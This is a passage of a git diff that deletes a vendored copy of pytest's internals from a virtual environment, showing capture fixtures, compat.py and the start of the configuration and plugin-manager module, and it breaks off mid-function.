-def capteesys(request: SubRequest) -> Generator[CaptureFixture[str]]: - r"""Enable simultaneous text capturing and pass-through of writes - to ``sys.stdout`` and ``sys.stderr`` as defined by ``--capture=``. - - - The captured output is made available via ``capteesys.readouterr()`` method - calls, which return a ``(out, err)`` namedtuple. - ``out`` and ``err`` will be ``text`` objects. - - The output is also passed-through, allowing it to be "live-printed", - reported, or both as defined by ``--capture=``. - - Returns an instance of :class:`CaptureFixture[str] `. - - Example: - - .. code-block:: python - - def test_output(capteesys): - print("hello") - captured = capteesys.readouterr() - assert captured.out == "hello\n" - """ - capman: CaptureManager = request.config.pluginmanager.getplugin("capturemanager") - capture_fixture = CaptureFixture( - SysCapture, request, config=dict(tee=True), _ispytest=True - ) - capman.set_fixture(capture_fixture) - capture_fixture._start() - yield capture_fixture - capture_fixture.close() - capman.unset_fixture() - - -@fixture -def capsysbinary(request: SubRequest) -> Generator[CaptureFixture[bytes]]: - r"""Enable bytes capturing of writes to ``sys.stdout`` and ``sys.stderr``. - - The captured output is made available via ``capsysbinary.readouterr()`` - method calls, which return a ``(out, err)`` namedtuple. - ``out`` and ``err`` will be ``bytes`` objects. - - Returns an instance of :class:`CaptureFixture[bytes] `. - - Example: - - .. code-block:: python - - def test_output(capsysbinary): - print("hello") - captured = capsysbinary.readouterr() - assert captured.out == b"hello\n" - """ - capman: CaptureManager = request.config.pluginmanager.getplugin("capturemanager") - capture_fixture = CaptureFixture(SysCaptureBinary, request, _ispytest=True) - capman.set_fixture(capture_fixture) - capture_fixture._start() - yield capture_fixture - capture_fixture.close() - capman.unset_fixture() - - -@fixture -def capfd(request: SubRequest) -> Generator[CaptureFixture[str]]: - r"""Enable text capturing of writes to file descriptors ``1`` and ``2``. - - The captured output is made available via ``capfd.readouterr()`` method - calls, which return a ``(out, err)`` namedtuple. - ``out`` and ``err`` will be ``text`` objects. - - Returns an instance of :class:`CaptureFixture[str] `. - - Example: - - .. code-block:: python - - def test_system_echo(capfd): - os.system('echo "hello"') - captured = capfd.readouterr() - assert captured.out == "hello\n" - """ - capman: CaptureManager = request.config.pluginmanager.getplugin("capturemanager") - capture_fixture = CaptureFixture(FDCapture, request, _ispytest=True) - capman.set_fixture(capture_fixture) - capture_fixture._start() - yield capture_fixture - capture_fixture.close() - capman.unset_fixture() - - -@fixture -def capfdbinary(request: SubRequest) -> Generator[CaptureFixture[bytes]]: - r"""Enable bytes capturing of writes to file descriptors ``1`` and ``2``. - - The captured output is made available via ``capfd.readouterr()`` method - calls, which return a ``(out, err)`` namedtuple. - ``out`` and ``err`` will be ``byte`` objects. - - Returns an instance of :class:`CaptureFixture[bytes] `. - - Example: - - .. code-block:: python - - def test_system_echo(capfdbinary): - os.system('echo "hello"') - captured = capfdbinary.readouterr() - assert captured.out == b"hello\n" - - """ - capman: CaptureManager = request.config.pluginmanager.getplugin("capturemanager") - capture_fixture = CaptureFixture(FDCaptureBinary, request, _ispytest=True) - capman.set_fixture(capture_fixture) - capture_fixture._start() - yield capture_fixture - capture_fixture.close() - capman.unset_fixture() diff --git a/venv/Lib/site-packages/_pytest/compat.py b/venv/Lib/site-packages/_pytest/compat.py deleted file mode 100644 index d3b2a4696938625de84ae4ebd1cae5f475355371..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/compat.py +++ /dev/null @@ -1,329 +0,0 @@ -# mypy: allow-untyped-defs -"""Python version compatibility code and random general utilities.""" - -from __future__ import annotations - -from collections.abc import Callable -import enum -import functools -import inspect -from inspect import Parameter -from inspect import Signature -import os -from pathlib import Path -import sys -from typing import Any -from typing import Final -from typing import NoReturn -from typing import TYPE_CHECKING - -import py - - -if sys.version_info >= (3, 14): - from annotationlib import Format - - -#: constant to prepare valuing pylib path replacements/lazy proxies later on -# intended for removal in pytest 8.0 or 9.0 - -# fmt: off -# intentional space to create a fake difference for the verification -LEGACY_PATH = py.path. local -# fmt: on - - -def legacy_path(path: str | os.PathLike[str]) -> LEGACY_PATH: - """Internal wrapper to prepare lazy proxies for legacy_path instances""" - return LEGACY_PATH(path) - - -# fmt: off -# Singleton type for NOTSET, as described in: -# https://www.python.org/dev/peps/pep-0484/#support-for-singleton-types-in-unions -class NotSetType(enum.Enum): - token = 0 -NOTSET: Final = NotSetType.token -# fmt: on - - -def iscoroutinefunction(func: object) -> bool: - """Return True if func is a coroutine function (a function defined with async - def syntax, and doesn't contain yield), or a function decorated with - @asyncio.coroutine. - - Note: copied and modified from Python 3.5's builtin coroutines.py to avoid - importing asyncio directly, which in turns also initializes the "logging" - module as a side-effect (see issue #8). - """ - return inspect.iscoroutinefunction(func) or getattr(func, "_is_coroutine", False) - - -def is_async_function(func: object) -> bool: - """Return True if the given function seems to be an async function or - an async generator.""" - return iscoroutinefunction(func) or inspect.isasyncgenfunction(func) - - -def signature(obj: Callable[..., Any]) -> Signature: - """Return signature without evaluating annotations.""" - if sys.version_info >= (3, 14): - return inspect.signature(obj, annotation_format=Format.STRING) - return inspect.signature(obj) - - -def getlocation(function, curdir: str | os.PathLike[str] | None = None) -> str: - function = get_real_func(function) - fn = Path(inspect.getfile(function)) - lineno = function.__code__.co_firstlineno - if curdir is not None: - try: - relfn = fn.relative_to(curdir) - except ValueError: - pass - else: - return f"{relfn}:{lineno + 1}" - return f"{fn}:{lineno + 1}" - - -def num_mock_patch_args(function) -> int: - """Return number of arguments used up by mock arguments (if any).""" - patchings = getattr(function, "patchings", None) - if not patchings: - return 0 - - mock_sentinel = getattr(sys.modules.get("mock"), "DEFAULT", object()) - ut_mock_sentinel = getattr(sys.modules.get("unittest.mock"), "DEFAULT", object()) - - return len( - [ - p - for p in patchings - if not p.attribute_name - and (p.new is mock_sentinel or p.new is ut_mock_sentinel) - ] - ) - - -def getfuncargnames( - function: Callable[..., object], - *, - name: str = "", - cls: type | None = None, -) -> tuple[str, ...]: - """Return the names of a function's mandatory arguments. - - Should return the names of all function arguments that: - * Aren't bound to an instance or type as in instance or class methods. - * Don't have default values. - * Aren't bound with functools.partial. - * Aren't replaced with mocks. - - The cls arguments indicate that the function should be treated as a bound - method even though it's not unless the function is a static method. - - The name parameter should be the original name in which the function was collected. - """ - # TODO(RonnyPfannschmidt): This function should be refactored when we - # revisit fixtures. The fixture mechanism should ask the node for - # the fixture names, and not try to obtain directly from the - # function object well after collection has occurred. - - # The parameters attribute of a Signature object contains an - # ordered mapping of parameter names to Parameter instances. This - # creates a tuple of the names of the parameters that don't have - # defaults. - try: - parameters = signature(function).parameters.values() - except (ValueError, TypeError) as e: - from _pytest.outcomes import fail - - fail( - f"Could not determine arguments of {function!r}: {e}", - pytrace=False, - ) - - arg_names = tuple( - p.name - for p in parameters - if ( - p.kind is Parameter.POSITIONAL_OR_KEYWORD - or p.kind is Parameter.KEYWORD_ONLY - ) - and p.default is Parameter.empty - ) - if not name: - name = function.__name__ - - # If this function should be treated as a bound method even though - # it's passed as an unbound method or function, and its first parameter - # wasn't defined as positional only, remove the first parameter name. - if not any(p.kind is Parameter.POSITIONAL_ONLY for p in parameters) and ( - # Not using `getattr` because we don't want to resolve the staticmethod. - # Not using `cls.__dict__` because we want to check the entire MRO. - cls - and not isinstance( - inspect.getattr_static(cls, name, default=None), staticmethod - ) - ): - arg_names = arg_names[1:] - # Remove any names that will be replaced with mocks. - if hasattr(function, "__wrapped__"): - arg_names = arg_names[num_mock_patch_args(function) :] - return arg_names - - -def get_default_arg_names(function: Callable[..., Any]) -> tuple[str, ...]: - # Note: this code intentionally mirrors the code at the beginning of - # getfuncargnames, to get the arguments which were excluded from its result - # because they had default values. - return tuple( - p.name - for p in signature(function).parameters.values() - if p.kind in (Parameter.POSITIONAL_OR_KEYWORD, Parameter.KEYWORD_ONLY) - and p.default is not Parameter.empty - ) - - -_non_printable_ascii_translate_table = { - i: f"\\x{i:02x}" for i in range(128) if i not in range(32, 127) -} -_non_printable_ascii_translate_table.update( - {ord("\t"): "\\t", ord("\r"): "\\r", ord("\n"): "\\n"} -) - - -def ascii_escaped(val: bytes | str) -> str: - r"""If val is pure ASCII, return it as an str, otherwise, escape - bytes objects into a sequence of escaped bytes: - - b'\xc3\xb4\xc5\xd6' -> r'\xc3\xb4\xc5\xd6' - - and escapes strings into a sequence of escaped unicode ids, e.g.: - - r'4\nV\U00043efa\x0eMXWB\x1e\u3028\u15fd\xcd\U0007d944' - - Note: - The obvious "v.decode('unicode-escape')" will return - valid UTF-8 unicode if it finds them in bytes, but we - want to return escaped bytes for any byte, even if they match - a UTF-8 string. - """ - if isinstance(val, bytes): - ret = val.decode("ascii", "backslashreplace") - else: - ret = val.encode("unicode_escape").decode("ascii") - return ret.translate(_non_printable_ascii_translate_table) - - -def get_real_func(obj): - """Get the real function object of the (possibly) wrapped object by - :func:`functools.wraps`, or :func:`functools.partial`.""" - obj = inspect.unwrap(obj) - - if isinstance(obj, functools.partial): - obj = obj.func - return obj - - -def getimfunc(func): - try: - return func.__func__ - except AttributeError: - return func - - -def safe_getattr(object: Any, name: str, default: Any) -> Any: - """Like getattr but return default upon any Exception or any OutcomeException. - - Attribute access can potentially fail for 'evil' Python objects. - See issue #214. - It catches OutcomeException because of #2490 (issue #580), new outcomes - are derived from BaseException instead of Exception (for more details - check #2707). - """ - from _pytest.outcomes import TEST_OUTCOME - - try: - return getattr(object, name, default) - except TEST_OUTCOME: - return default - - -def safe_isclass(obj: object) -> bool: - """Ignore any exception via isinstance on Python 3.""" - try: - return inspect.isclass(obj) - except Exception: - return False - - -def get_user_id() -> int | None: - """Return the current process's real user id or None if it could not be - determined. - - :return: The user id or None if it could not be determined. - """ - # mypy follows the version and platform checking expectation of PEP 484: - # https://mypy.readthedocs.io/en/stable/common_issues.html?highlight=platform#python-version-and-system-platform-checks - # Containment checks are too complex for mypy v1.5.0 and cause failure. - if sys.platform == "win32" or sys.platform == "emscripten": - # win32 does not have a getuid() function. - # Emscripten has a return 0 stub. - return None - else: - # On other platforms, a return value of -1 is assumed to indicate that - # the current process's real user id could not be determined. - ERROR = -1 - uid = os.getuid() - return uid if uid != ERROR else None - - -if sys.version_info >= (3, 11): - from typing import assert_never -else: - - def assert_never(value: NoReturn) -> NoReturn: - assert False, f"Unhandled value: {value} ({type(value).__name__})" - - -class CallableBool: - """ - A bool-like object that can also be called, returning its true/false value. - - Used for backwards compatibility in cases where something was supposed to be a method - but was implemented as a simple attribute by mistake (see `TerminalReporter.isatty`). - - Do not use in new code. - """ - - def __init__(self, value: bool) -> None: - self._value = value - - def __bool__(self) -> bool: - return self._value - - def __call__(self) -> bool: - return self._value - - -def running_on_ci() -> bool: - """Check if we're currently running on a CI system.""" - # Only enable CI mode if one of these env variables is defined and non-empty. - # Note: review `regendoc` tox env in case this list is changed. - env_vars = ["CI", "BUILD_NUMBER"] - return any(os.environ.get(var) for var in env_vars) - - -if sys.version_info >= (3, 13): - from warnings import deprecated as deprecated -else: - if TYPE_CHECKING: - from typing_extensions import deprecated as deprecated - else: - - def deprecated(msg, /, *, category=None, stacklevel=1): - def decorator(func): - return func - - return decorator diff --git a/venv/Lib/site-packages/_pytest/config/__init__.py b/venv/Lib/site-packages/_pytest/config/__init__.py deleted file mode 100644 index 96b3dd6a86a174ccc46b6a5585315fb1518ac4de..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/config/__init__.py +++ /dev/null @@ -1,2246 +0,0 @@ -# mypy: allow-untyped-defs -"""Command line options, config-file and conftest.py processing.""" - -from __future__ import annotations - -import argparse -import builtins -import collections.abc -from collections.abc import Callable -from collections.abc import Generator -from collections.abc import Iterable -from collections.abc import Iterator -from collections.abc import Mapping -from collections.abc import MutableMapping -from collections.abc import Sequence -import contextlib -import copy -import dataclasses -import enum -from functools import lru_cache -import glob -import importlib -import importlib.metadata -import inspect -import os -import pathlib -import re -import shlex -import sys -from textwrap import dedent -import types -from types import FunctionType -from typing import Any -from typing import cast -from typing import Final -from typing import final -from typing import IO -from typing import TextIO -from typing import TYPE_CHECKING -import warnings - -from pluggy import HookimplMarker -from pluggy import HookimplOpts -from pluggy import HookspecMarker -from pluggy import HookspecOpts -from pluggy import PluginManager - -from .exceptions import PrintHelp as PrintHelp -from .exceptions import UsageError as UsageError -from .findpaths import ConfigDict -from .findpaths import ConfigValue -from .findpaths import determine_setup -from .findpaths import parse_override_ini -from _pytest import __version__ -import _pytest._code -from _pytest._code import ExceptionInfo -from _pytest._code import filter_traceback -from _pytest._code.code import TracebackStyle -from _pytest._io import TerminalWriter -from _pytest.compat import assert_never -from _pytest.compat import deprecated -from _pytest.compat import NOTSET -from _pytest.config.argparsing import Argument -from _pytest.config.argparsing import FILE_OR_DIR -from _pytest.config.argparsing import Parser -import _pytest.deprecated -import _pytest.hookspec -from _pytest.outcomes import fail -from _pytest.outcomes import Skipped -from _pytest.pathlib import absolutepath -from _pytest.pathlib import bestrelpath -from _pytest.pathlib import import_path -from _pytest.pathlib import ImportMode -from _pytest.pathlib import resolve_package_path -from _pytest.pathlib import safe_exists -from _pytest.stash import Stash -from _pytest.warning_types import PytestConfigWarning -from _pytest.warning_types import warn_explicit_for - - -if TYPE_CHECKING: - from _pytest.assertion.rewrite import AssertionRewritingHook - from _pytest.cacheprovider import Cache - from _pytest.terminal import TerminalReporter - -_PluggyPlugin = object -"""A type to represent plugin objects. - -Plugins can be any namespace, so we can't narrow it down much, but we use an -alias to make the intent clear. - -Ideally this type would be provided by pluggy itself. -""" - - -hookimpl = HookimplMarker("pytest") -hookspec = HookspecMarker("pytest") - - -@final -class ExitCode(enum.IntEnum): - """Encodes the valid exit codes by pytest. - - Currently users and plugins may supply other exit codes as well. - - .. versionadded:: 5.0 - """ - - #: Tests passed. - OK = 0 - #: Tests failed. - TESTS_FAILED = 1 - #: pytest was interrupted. - INTERRUPTED = 2 - #: An internal error got in the way. - INTERNAL_ERROR = 3 - #: pytest was misused. - USAGE_ERROR = 4 - #: pytest couldn't find tests. - NO_TESTS_COLLECTED = 5 - #: All tests pass, but maximum number of warnings exceeded. - MAX_WARNINGS_ERROR = 6 - - __module__ = "pytest" - - -class ConftestImportFailure(Exception): - def __init__( - self, - path: pathlib.Path, - *, - cause: Exception, - ) -> None: - self.path = path - self.cause = cause - - def __str__(self) -> str: - return f"{type(self.cause).__name__}: {self.cause} (from {self.path})" - - -def filter_traceback_for_conftest_import_failure( - entry: _pytest._code.TracebackEntry, -) -> bool: - """Filter tracebacks entries which point to pytest internals or importlib. - - Make a special case for importlib because we use it to import test modules and conftest files - in _pytest.pathlib.import_path. - """ - return filter_traceback(entry) and "importlib" not in str(entry.path).split(os.sep) - - -def print_conftest_import_error(e: ConftestImportFailure, file: TextIO) -> None: - exc_info = ExceptionInfo.from_exception(e.cause) - tw = TerminalWriter(file) - tw.line(f"ImportError while loading conftest '{e.path}'.", red=True) - exc_info.traceback = exc_info.traceback.filter( - filter_traceback_for_conftest_import_failure - ) - exc_repr = ( - exc_info.getrepr(style="short", chain=False) - if exc_info.traceback - else exc_info.exconly() - ) - formatted_tb = str(exc_repr) - for line in formatted_tb.splitlines(): - tw.line(line.rstrip(), red=True) - - -def print_usage_error(e: UsageError, file: TextIO) -> None: - tw = TerminalWriter(file) - for msg in e.args: - tw.line(f"ERROR: {msg}\n", red=True) - - -def _get_prog_name(argv: Sequence[str]) -> str: - """Determine the CLI program name from the argument vector. - - :param argv: The argument vector (typically ``sys.argv``). - :returns: ``"python -m pytest"`` when invoked via ``python -m``, - ``"pytest"`` otherwise. - """ - argv0 = argv[0] if argv else "" - if os.path.basename(argv0) == "__main__.py": - return "python -m pytest" - return "pytest" - - -def main( - args: list[str] | os.PathLike[str] | None = None, - plugins: Sequence[str | _PluggyPlugin] | None = None, -) -> int | ExitCode: - """Perform an in-process test run. - - :param args: - List of command line arguments. If `None` or not given, defaults to reading - arguments directly from the process command line (:data:`sys.argv`). - :param plugins: List of plugin objects to be auto-registered during initialization. - - :returns: An exit code. - """ - return _main(args=args, plugins=plugins, prog="pytest.main()") - - -def _main( - *, - args: list[str] | os.PathLike[str] | None = None, - plugins: Sequence[str | _PluggyPlugin] | None = None, - prog: str, -) -> int | ExitCode: - # Handle a single `--version`/`-V` argument early to avoid starting up the entire pytest infrastructure. - new_args = sys.argv[1:] if args is None else args - if ( - isinstance(new_args, Sequence) - and (new_args.count("--version") + new_args.count("-V")) == 1 - ): - sys.stdout.write(f"pytest {__version__}\n") - return ExitCode.OK - - old_pytest_version = os.environ.get("PYTEST_VERSION") - try: - os.environ["PYTEST_VERSION"] = __version__ - try: - config = _prepareconfig(new_args, plugins, prog=prog) - except ConftestImportFailure as e: - print_conftest_import_error(e, file=sys.stderr) - return ExitCode.USAGE_ERROR - - try: - ret: ExitCode | int = config.hook.pytest_cmdline_main(config=config) - try: - return ExitCode(ret) - except ValueError: - return ret - finally: - config._ensure_unconfigure() - except UsageError as e: - print_usage_error(e, file=sys.stderr) - return ExitCode.USAGE_ERROR - finally: - if old_pytest_version is None: - os.environ.pop("PYTEST_VERSION", None) - else: - os.environ["PYTEST_VERSION"] = old_pytest_version - - -def _console_main() -> int: - """The CLI entry point of pytest (internal). - - This is the real implementation used by entry points and ``__main__.py``. - """ - # https://docs.python.org/3/library/signal.html#note-on-sigpipe - try: - code = _main(prog=_get_prog_name(sys.argv)) - sys.stdout.flush() - return code - except BrokenPipeError: - # Python flushes standard streams on exit; redirect remaining output - # to devnull to avoid another BrokenPipeError at shutdown - devnull = os.open(os.devnull, os.O_WRONLY) - os.dup2(devnull, sys.stdout.fileno()) - return 1 # Python exits with error code 1 on EPIPE - - -def console_main() -> int: - """The CLI entry point of pytest. - - .. deprecated:: 9.1 - This function is slated for removal in pytest 10. - It is not meant for programmable use; use :func:`pytest.main` instead. - """ - import warnings - - from _pytest.deprecated import CONSOLE_MAIN - - warnings.warn(CONSOLE_MAIN, stacklevel=2) - return _console_main() - - -class cmdline: # compatibility namespace - main = staticmethod(main) - - -def filename_arg(path: str, optname: str) -> str: - """Argparse type validator for filename arguments. - - :path: Path of filename. - :optname: Name of the option. - """ - if os.path.isdir(path): - raise UsageError(f"{optname} must be a filename, given: {path}") - return path - - -def directory_arg(path: str, optname: str) -> str: - """Argparse type validator for directory arguments. - - :path: Path of directory. - :optname: Name of the option. - """ - if not os.path.isdir(path): - raise UsageError(f"{optname} must be a directory, given: {path}") - return path - - -# Plugins that cannot be disabled via "-p no:X" currently. -essential_plugins = ( - "mark", - "main", - "runner", - "fixtures", - "helpconfig", # Provides -p. -) - -default_plugins = ( - *essential_plugins, - "python", - "terminal", - "debugging", - "unittest", - "capture", - "skipping", - "legacypath", - "tmpdir", - "monkeypatch", - "recwarn", - "pastebin", - "assertion", - "junitxml", - "doctest", - "cacheprovider", - "setuponly", - "setupplan", - "stepwise", - "unraisableexception", - "threadexception", - "warnings", - "logging", - "reports", - "faulthandler", - "subtests", -) - -builtin_plugins = { - *default_plugins, - "pytester", - "pytester_assertions", - "terminalprogress", -} - - -def get_config( - args: Iterable[str] | None = None, - plugins: Sequence[str | _PluggyPlugin] | None = None, - *, - prog: str | None = None, -) -> Config: - # Subsequent calls to main will create a fresh instance. - pluginmanager = PytestPluginManager() - invocation_params = Config.InvocationParams( - args=args or (), - plugins=plugins, - dir=pathlib.Path.cwd(), - ) - config = Config(pluginmanager, invocation_params=invocation_params, prog=prog) - - if invocation_params.args: - # Handle any "-p no:plugin" args. - pluginmanager.consider_preparse(invocation_params.args, exclude_only=True) - - for spec in default_plugins: - pluginmanager.import_plugin(spec) - - return config - - -def get_plugin_manager() -> PytestPluginManager: - """Obtain a new instance of the - :py:class:`pytest.PytestPluginManager`, with default plugins - already loaded. - - This function can be used by integration with other tools, like hooking - into pytest to run tests into an IDE. - """ - return get_config().pluginmanager - - -def _prepareconfig( - args: list[str] | os.PathLike[str], - plugins: Sequence[str | _PluggyPlugin] | None = None, - *, - prog: str | None = None, -) -> Config: - if isinstance(args, os.PathLike): - args = [os.fspath(args)] - elif not isinstance(args, list): - msg = ( # type:ignore[unreachable] - "`args` parameter expected to be a list of strings, got: {!r} (type: {})" - ) - raise TypeError(msg.format(args, type(args))) - - initial_config = get_config(args, plugins, prog=prog) - pluginmanager = initial_config.pluginmanager - try: - if plugins: - for plugin in plugins: - if isinstance(plugin, str): - pluginmanager.consider_pluginarg(plugin) - else: - pluginmanager.register(plugin) - config: Config = pluginmanager.hook.pytest_cmdline_parse( - pluginmanager=pluginmanager, args=args - ) - return config - except BaseException: - initial_config._ensure_unconfigure() - raise - - -def _get_directory(path: pathlib.Path) -> pathlib.Path: - """Get the directory of a path - itself if already a directory.""" - if path.is_file(): - return path.parent - else: - return path - - -def _get_legacy_hook_marks( - method: Any, - hook_type: str, - opt_names: tuple[str, ...], -) -> dict[str, bool]: - if TYPE_CHECKING: - # abuse typeguard from importlib to avoid massive method type union that's lacking an alias - assert inspect.isroutine(method) - known_marks: set[str] = {m.name for m in getattr(method, "pytestmark", [])} - must_warn: list[str] = [] - opts: dict[str, bool] = {} - for opt_name in opt_names: - opt_attr = getattr(method, opt_name, AttributeError) - if opt_attr is not AttributeError: - must_warn.append(f"{opt_name}={opt_attr}") - opts[opt_name] = True - elif opt_name in known_marks: - must_warn.append(f"{opt_name}=True") - opts[opt_name] = True - else: - opts[opt_name] = False - if must_warn: - hook_opts = ", ".join(must_warn) - message = _pytest.deprecated.HOOK_LEGACY_MARKING.format( - type=hook_type, - fullname=method.__qualname__, - hook_opts=hook_opts, - ) - warn_explicit_for(cast(FunctionType, method), message) - return opts - - -@final -class PytestPluginManager(PluginManager): - """A :py:class:`pluggy.PluginManager ` with - additional pytest-specific functionality: - - * Loading plugins from the command line, ``PYTEST_PLUGINS`` env variable and - ``pytest_plugins`` global variables found in plugins being loaded. - * ``conftest.py`` loading during start-up. - """ - - def __init__(self) -> None: - from _pytest.assertion import DummyRewriteHook - from _pytest.assertion import RewriteHook - - super().__init__("pytest") - - # -- State related to local conftest plugins. - # All loaded conftest modules. - self._conftest_plugins: set[types.ModuleType] = set() - # All conftest modules applicable for a directory. - # This includes the directory's own conftest modules as well - # as those of its parent directories. - self._dirpath2confmods: dict[pathlib.Path, list[types.ModuleType]] = {} - # Cutoff directory above which conftests are no longer discovered. - self._confcutdir: pathlib.Path | None = None - # If set, conftest loading is skipped. - self._noconftest = False - - # _getconftestmodules()'s call to _get_directory() causes a stat - # storm when it's called potentially thousands of times in a test - # session (#9478), often with the same path, so cache it. - self._get_directory = lru_cache(256)(_get_directory) - - # plugins that were explicitly skipped with pytest.skip - # list of (module name, skip reason) - # previously we would issue a warning when a plugin was skipped, but - # since we refactored warnings as first citizens of Config, they are - # just stored here to be used later. - self.skipped_plugins: list[tuple[str, str]] = [] - - self.add_hookspecs(_pytest.hookspec) - self.register(self) - if os.environ.get("PYTEST_DEBUG"): - err: IO[str] = sys.stderr - encoding: str = getattr(err, "encoding", "utf8") - try: - err = open( - os.dup(err.fileno()), - mode=err.mode, - buffering=1, - encoding=encoding, - ) - except Exception: - pass - self.trace.root.setwriter(err.write) - self.enable_tracing() - - # Config._consider_importhook will set a real object if required. - self.rewrite_hook: RewriteHook = DummyRewriteHook() - # Used to know when we are importing conftests after the pytest_configure stage. - self._configured = False - - def parse_hookimpl_opts( - self, plugin: _PluggyPlugin, name: str - ) -> HookimplOpts | None: - """:meta private:""" - # pytest hooks are always prefixed with "pytest_", - # so we avoid accessing possibly non-readable attributes - # (see issue #1073). - if not name.startswith("pytest_"): - return None - # Ignore names which cannot be hooks. - if name == "pytest_plugins": - return None - - opts = super().parse_hookimpl_opts(plugin, name) - if opts is not None: - return opts - - method = getattr(plugin, name) - # Consider only actual functions for hooks (#3775). - if not inspect.isroutine(method): - return None - # Collect unmarked hooks as long as they have the `pytest_' prefix. - legacy = _get_legacy_hook_marks( - method, "impl", ("tryfirst", "trylast", "optionalhook", "hookwrapper") - ) - return cast(HookimplOpts, legacy) - - def parse_hookspec_opts(self, module_or_class, name: str) -> HookspecOpts | None: - """:meta private:""" - opts = super().parse_hookspec_opts(module_or_class, name) - if opts is None: - method = getattr(module_or_class, name) - if name.startswith("pytest_"): - legacy = _get_legacy_hook_marks( - method, "spec", ("firstresult", "historic") - ) - opts = cast(HookspecOpts, legacy) - return opts - - def register(self, plugin: _PluggyPlugin, name: str | None = None) -> str | None: - if name in _pytest.deprecated.DEPRECATED_EXTERNAL_PLUGINS: - warnings.warn( - PytestConfigWarning( - "{} plugin has been merged into the core, " - "please remove it from your requirements.".format( - name.replace("_", "-") - ) - ) - ) - return None - plugin_name = super().register(plugin, name) - if plugin_name is not None: - self.hook.pytest_plugin_registered.call_historic( - kwargs=dict( - plugin=plugin, - plugin_name=plugin_name, - manager=self, - ) - ) - - if isinstance(plugin, types.ModuleType): - self.consider_module(plugin) - return plugin_name - - def getplugin(self, name: str): - # Support deprecated naming because plugins (xdist e.g.) use it. - plugin: _PluggyPlugin | None = self.get_plugin(name) - return plugin - - def hasplugin(self, name: str) -> bool: - """Return whether a plugin with the given name is registered.""" - return bool(self.get_plugin(name)) - - def pytest_configure(self, config: Config) -> None: - """:meta private:""" - # XXX now that the pluginmanager exposes hookimpl(tryfirst...) - # we should remove tryfirst/trylast as markers. - config.addinivalue_line( - "markers", - "tryfirst: mark a hook implementation function such that the " - "plugin machinery will try to call it first/as early as possible. " - "DEPRECATED, use @pytest.hookimpl(tryfirst=True) instead.", - ) - config.addinivalue_line( - "markers", - "trylast: mark a hook implementation function such that the " - "plugin machinery will try to call it last/as late as possible. " - "DEPRECATED, use @pytest.hookimpl(trylast=True) instead.", - ) - self._configured = True - - # - # Internal API for local conftest plugin handling. - # - def _set_initial_conftests( - self, - args: Sequence[str | pathlib.Path], - pyargs: bool, - noconftest: bool, - rootpath: pathlib.Path, - confcutdir: pathlib.Path | None, - invocation_dir: pathlib.Path, - importmode: ImportMode | str, - *, - consider_namespace_packages: bool, - ) -> None: - """Load initial conftest files given a preparsed "namespace". - - As conftest files may add their own command line options which have - arguments ('--my-opt somepath') we might get some false positives. - All builtin and 3rd party plugins will have been loaded, however, so - common options will not confuse our logic here. - """ - self._confcutdir = ( - absolutepath(invocation_dir / confcutdir) if confcutdir else None - ) - self._noconftest = noconftest - self._using_pyargs = pyargs - - anchors = [] - for initial_path in args: - path = str(initial_path) - # remove node-id syntax - i = path.find("::") - if i != -1: - path = path[:i] - anchor = absolutepath(invocation_dir / path) - # Ensure we do not break if what appears to be an anchor - # is in fact a very long option (#10169, #11394). - if not safe_exists(anchor): - continue - - anchors.append(anchor) - # Let's also consider test* subdirs. - if anchor.is_dir(): - anchors.extend(x for x in anchor.glob("test*") if x.is_dir()) - if not anchors: - anchors.append(invocation_dir) - anchors.extend(x for x in invocation_dir.glob("test*") if x.is_dir()) - - for anchor in anchors: - self._loadconftestmodules( - anchor, - importmode, - rootpath, - consider_namespace_packages=consider_namespace_packages, - ) - - def _is_in_confcutdir(self, path: pathlib.Path) -> bool: - """Whether to consider the given path to load conftests from.""" - if self._confcutdir is None: - return True - # The semantics here are literally: - # Do not load a conftest if it is found upwards from confcut dir. - # But this is *not* the same as: - # Load only conftests from confcutdir or below. - # At first glance they might seem the same thing, however we do support use cases where - # we want to load conftests that are not found in confcutdir or below, but are found - # in completely different directory hierarchies like packages installed - # in out-of-source trees. - # (see #9767 for a regression where the logic was inverted). - return path not in self._confcutdir.parents - - def _loadconftestmodules( - self, - path: pathlib.Path, - importmode: str | ImportMode, - rootpath: pathlib.Path, - *, - consider_namespace_packages: bool, - ) -> None: - if self._noconftest: - return - - directory = self._get_directory(path) - - # Optimization: avoid repeated searches in the same directory. - # Assumes always called with same importmode and rootpath. - if directory in self._dirpath2confmods: - return - - clist = [] - for parent in reversed((directory, *directory.parents)): - if self._is_in_confcutdir(parent): - conftestpath = parent / "conftest.py" - if conftestpath.is_file(): - mod = self._importconftest( - conftestpath, - importmode, - rootpath, - consider_namespace_packages=consider_namespace_packages, - ) - clist.append(mod) - self._dirpath2confmods[directory] = clist - - def _getconftestmodules(self, path: pathlib.Path) -> Sequence[types.ModuleType]: - directory = self._get_directory(path) - return self._dirpath2confmods.get(directory, ()) - - def _rget_with_confmod( - self, - name: str, - path: pathlib.Path, - ) -> tuple[types.ModuleType, Any]: - modules = self._getconftestmodules(path) - for mod in reversed(modules): - try: - return mod, getattr(mod, name) - except AttributeError: - continue - raise KeyError(name) - - def _importconftest( - self, - conftestpath: pathlib.Path, - importmode: str | ImportMode, - rootpath: pathlib.Path, - *, - consider_namespace_packages: bool, - ) -> types.ModuleType: - conftestpath_plugin_name = str(conftestpath) - existing = self.get_plugin(conftestpath_plugin_name) - if existing is not None: - return cast(types.ModuleType, existing) - - # conftest.py files there are not in a Python package all have module - # name "conftest", and thus conflict with each other. Clear the existing - # before loading the new one, otherwise the existing one will be - # returned from the module cache. - pkgpath = resolve_package_path(conftestpath) - if pkgpath is None: - try: - del sys.modules[conftestpath.stem] - except KeyError: - pass - - try: - mod = import_path( - conftestpath, - mode=importmode, - root=rootpath, - consider_namespace_packages=consider_namespace_packages, - ) - except Exception as e: - assert e.__traceback__ is not None - raise ConftestImportFailure(conftestpath, cause=e) from e - - self._check_non_top_pytest_plugins(mod, conftestpath) - - self._conftest_plugins.add(mod) - dirpath = conftestpath.parent - if dirpath in self._dirpath2confmods: - for path, mods in self._dirpath2confmods.items(): - if dirpath in path.parents or path == dirpath: - if mod in mods: - raise AssertionError( - f"While trying to load conftest path {conftestpath!s}, " - f"found that the module {mod} is already loaded with path {mod.__file__}. " - "This is not supposed to happen. Please report this issue to pytest." - ) - mods.append(mod) - self.trace(f"loading conftestmodule {mod!r}") - self.consider_conftest(mod, registration_name=conftestpath_plugin_name) - return mod - - def _check_non_top_pytest_plugins( - self, - mod: types.ModuleType, - conftestpath: pathlib.Path, - ) 